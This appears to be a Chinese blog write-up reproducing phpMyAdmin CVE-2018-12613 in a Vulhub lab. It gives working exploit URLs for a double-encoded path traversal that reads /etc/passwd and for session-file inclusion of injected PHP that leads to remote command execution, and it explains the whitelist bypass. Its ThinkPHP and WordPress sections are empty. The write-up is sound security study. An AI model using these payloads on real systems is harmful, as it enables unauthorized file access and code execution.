Vulhub 漏洞复现系列(一):未授权访问与远程命令执行漏洞(phpmyadmin,thinkphp,wordpress)

目录

一.phpmyadmin(CVE-2018-12613)

1.搭建环境

2.漏洞复现

3.攻击原理:

二.thinkphp

三.wordpress


一.phpmyadmin(CVE-2018-12613)

1.搭建环境

step1:进入到对应漏洞的目录之后,启动环境

sudo docker-compose up -d 

ERROR:说明Docker 客户端尝试从 Docker Hub 拉取镜像(mysql:5.5)时超时了,原因通常是网络连接问题。

解决:

1)编辑/etc/docker/daemon.json,添加镜像加速地址

sudo mkdir -p /etc/docker    
vi /etc/docker/daemon.json
{
  "registry-mirrors": [
        "https://docker.sunzishaokao.com",
        "https://docker.1ms.run",
        "https://docker.1panel.live",
        "https://docker.anyhub.us.kg"
  ]
}

2)进行加载并重启docker

systemctl daemon-reload 
systemctl restart docker   

3)尝试:解决

step2:访问http://your-ip:8080

使用ifconfig查询本机的ip地址(eth0),然后访问上述网站进入漏洞环境

2.漏洞复现

目标一:读取/etc/passwd

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../etc/passwd

成功读取目标文件

目标二:get shell,拿到执行权限

step1:在SQL查询页面上执行以下命令

select '<?php echo `ls` ?>';

然后在inspect的storage里找到cookie值

step2:构造以下url,包含并执行session文件中的PHP代码

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fccf89f4e64ff48d5702459d62accc39

成功访问后,服务器返回了当前目录下的文件列表,在select'.....'里,成功实现了远程命令执行

3.攻击原理(

首先找到index.php源文件并观察

docker ps
docker exec -it cve-2018-12613_web_1 /bin/bash

解释:如果满足上述几个条件,target 参数指定的文件会被直接包含执行,条件有非空,是字符串,不能以index开头,不在黑名单中,通过白名单检查函数Core::checkPageValidity()

1)查看黑名单

黑名单有import.php和export.php

2)查看白名单校验函数,在libraries/classes/Core.php

解释:

$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));

将传入的page进行URL解码,然后从URL参数中提取文件名部分,即去掉?后面的查询字符串

漏洞利用:%253f,服务器自动解码一次为%3f,然后urldecode函数再解码一次为?,则满足截取?之前的内容在白名单中,从而返回true

index.php?target=db_sql.php%253f/../../../../etc/passwd

我们可以结合路径遍历漏洞访问服务器上的任意文件(如临时目录下的会话文件 sess_xxx),并通过文件包含功能将这些文件加载执行,最终导致任意代码执行或敏感信息泄露,从而实现远程命令执行(RCE)等攻击效果。

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fccf89f4e64ff48d5702459d62accc39

/tmp/sess_fccf89f4e64ff48d5702459d62accc39是服务器的会话文件,该文件包含有PHP攻击代码,即我们在SQL询问中写入的select '<?php echo `ls` ?>';,所以当访问该文件时会执行其中的PHP代码,进而达到目的

(2025.5.7 持续更新)

二.thinkphp

三.wordpress

### 使用 Vulhub 进行漏洞复现 #### 下载并安装 Vulhub 为了开始使用 Vulhub,需先将其仓库克隆到本地环境中。这可以通过执行如下命令完成: ```bash git clone https://github.com/vulhub/vulhub.git ``` 该操作将会把整个 Vulhub 项目下载至当前目录下[^1]。 #### 启动特定漏洞环境 Vulhub 提供了多种不同类型的漏洞场景模拟,每种场景都对应着实际存在的软件缺陷或配置错误。对于想要启动某个具体的漏洞实例来说,通常只需要进入相应的文件夹,并利用 Docker Compose 工具来快速部署所需的容器化服务。例如,要设置 ActiveMQ 的测试环境,则应导航到 `vulhub/activemq/CVE-2016-3088` 文件夹内,接着运行下面这条指令: ```bash cd vulhub/activemq/CVE-2016-3088 docker-compose up -d ``` 上述命令会自动拉取必要的镜像资源并在后台启动所有关联的服务进程[^2]。 #### 开展漏洞检测分析 旦目标应用成功上线之后,就可以借助各种网络安全工具来进行进步的研究工作了。比如可以采用 Nmap 对网络中的主机和服务进行全面扫描;也可以直接打开 Web 浏览器查看应用程序界面,以此了解其基本功能特性以及可能存在的安全隐患。针对某些已知的安全问题,还可以配合 Burp Suite 等代理服务器截获 HTTP 请求流量,进而尝试构造恶意输入以验证是否存在可被攻击者利用的风险点[^4]。 #### 学习更多理论知识 除了动手实践之外,深入理解背后的技术细节同样重要。因此建议阅读官方文档或其他权威资料,掌握有关于选定案例的具体成因及其修复措施等方面的信息。这样不仅有助于加深记忆效果,而且能够培养解决复杂难题的能力[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你好我是小美

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值